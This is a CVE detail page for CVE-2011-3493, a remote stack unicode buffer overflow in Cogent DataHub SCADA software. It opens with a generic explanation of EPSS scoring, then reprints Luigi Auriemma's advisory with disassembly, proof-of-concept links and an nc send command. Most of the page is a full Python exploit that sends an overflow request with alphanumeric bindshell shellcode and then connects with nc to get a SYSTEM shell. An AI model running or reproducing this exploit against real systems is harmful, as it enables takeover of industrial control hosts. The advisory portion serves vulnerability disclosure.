CVE-2011-3493 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

####################################################################### Luigi Auriemma Application: Cogent DataHub http://www.cogentdatahub.com/Products/Cogent_DataHub.html Versions: <= 7.1.1.63 Platforms: Windows Bug: stack unicode overflow Exploitation: remote Date: 13 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== DataHub is a software for the SCADA and automation sector. ####################################################################### ====== 2) Bug ====== The server/service listens on the ports 4052 and 4053, the only difference is that the second port uses SSL while the first one is in plain-text. Stack-based unicode buffer-overflow in the "DH_OneSecondTick" function exploitable through the "domain", "report_domain", "register_datahub", "slave" and some other commands: 00440442 |. 50 |PUSH EAX ; string 00440443 |. 68 64854900 |PUSH CogentDa.00498564 ; "Domain" 00440448 |. 8D8D 00FFFFFF |LEA ECX,DWORD PTR SS:[EBP-100] 0044044E |. 68 A42F4900 |PUSH CogentDa.00492FA4 ; "%s.%s" 00440453 |. 51 |PUSH ECX ; stack buffer 00440454 |. FF15 B4F44800 |CALL DWORD PTR DS:[<&MSVCR90._swprintf>] ####################################################################### =========== 3) The Code =========== http://aluigi.org/poc/cogent_1.dat https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17838.dat nc SERVER 4052 < cogent_1.dat port 4053 uses the same protocol via SSL. ####################################################################### ====== 4) Fix ====== No fix. #######################################################################

#!/usr/bin/python # # Cogent Datahub <= v7.1.1.63 Remote Unicode Buffer Overflow Exploit # tested on: # - windows server 2003 # - windows XP sp3 # questions >> @net__ninja || @luigi_auriemma # example usage: # [mr_me@neptune cognet]$ ./cognet_overflow.py 192.168.114.130 # # ----------------------------------------------------- # ------ Cogent Datahub Unicode Overflow Exploit ------ # ------------- Found by Luigi Auriemma --------------- # --------- SYSTEM exploit by Steven Seeley ----------- # # (+) Sending overflow... # (+) Getting shell.. # Connection to 192.168.114.130 1337 port [tcp/menandmice-dns] succeeded! # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster>whoami # whoami # nt authority\system # # C:\Program Files\Cogent\Cogent DataHub\plugin\TCPMaster> import socket,time,sys,os # bindshell on port 1337 shellcodez = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQA" "IAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1" "111AIAJQI1AYAZBABABABAB30APB944JBKLQZJKPMK8JYKOKOKOQPTK" "2LMTMTDKOUOLTKCLKUT8M1JOTKPOLXTKQOMPM1JKOY4KNTTKM1JNNQ9" "04Y6LU4I0D4M77QHJLMKQ92ZKL4OK0TMTO8BUIUTK1OO4KQZK1VDKLL" "PKTKQOMLM1ZKM3NLTKU9RLMTMLQQ7SNQ9KQTTK0CNP4KOPLL4KRPMLV" "M4KOPLHQN384NPNLNJLPPKOJ6QVPSQVQX03OBRHT7RSNR1OB4KO8PBH" "XKZMKLOKR0KOHVQOU9YU1VE1JMM8KRB5QZLBKOXPBH8YM9JUFMQGKOZ" "6PSPSR30SQCPC23PCPSKOXPC6RHKUP936PSSYYQV5QX5TMJ40GWPWKO" "8VRJLPR1R5KOHPQXG4VMNNIY0WKOZ6QC25KOXPBH9U19U6OY27KO9FP" "PR4R41EKOXPUC1X9W49GVRYPWKO8V0UKOXP1VQZRD2FQXQSBMU9YUQZ" "0PPYNI8LTI9W2J14U9K201GPKCUZKNORNMKNPBNL63TM2ZNXVKFK6KQ" "XBRKNVSN6KOT5Q4KOIFQK0WB2PQ0Q0Q1ZM1PQR1PUR1KOXPRHVMJ9KU" "8NQCKOHVQZKOKO07KOZ0DK0WKLTCWTRDKOHV0RKO8P38JPTJKTQOR3K" "O8VKO8PKZA") align= "" align += "\x54" # push esp align += "\x6f" align += "\x58" # pop eax align += "\x6f" align += "\x05\x6f\x11" # add eax,11006f00 align += "\x6f" align += "\x2d\x37\x01" # sub eax,01003700 align += "\x6f" align += "\x2d\x37\x10" # sub eax,11003700 align += "\x6f" align += "\x50" # push eax align += "\x6f" align += "\x48" # dec eax align += "\x6f" align += "\x48" # dec eax align += "\x6f" align += "\x55" # push ebp align += "\x6f" align += "\x59" # pop ecx align += "\x08" # add [eax],cl (carve a 'RETN' onto the stack) align += "\x6f" align += "\x40" # inc eax align += "\x6f" align += "\x40" # inc eax align += "\x6f\x41" * (48) # inc ecx (will not effect to our payload) align += "\x6f" align += "\x62" # becomes our carved RETN on the stack (0x61+0x62=0xc3) request = "(domain \"" request += "\x61" * 1019 request += "\x7f\x55" # jmp esp 0x0055007f request += align request += shellcodez request += "\")\r\n" def banner(): banner = "\n-----------------------------------------------------\n" banner += "------ Cogent Datahub Unicode Overflow Exploit ------\n" banner += "------------- Found by Luigi Auriemma ---------------\n" banner += "--------- SYSTEM exploit by Steven Seeley -----------\n" return banner if len(sys.argv) < 2: print banner() print "(-) Usage: %s <target addr> " % sys.argv[0] sys.exit(0) target = sys.argv[1] print banner() s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((target,4502)) except: print "[-] Connection to %s failed! % (target)" sys.exit(0) print "(+) Sending overflow..." s.send(request) s.recv(1024) # wait for the target, sheesh. time.sleep(2) print "(+) Getting shell.." os.system("nc -vv %s 1337" % target) s.close()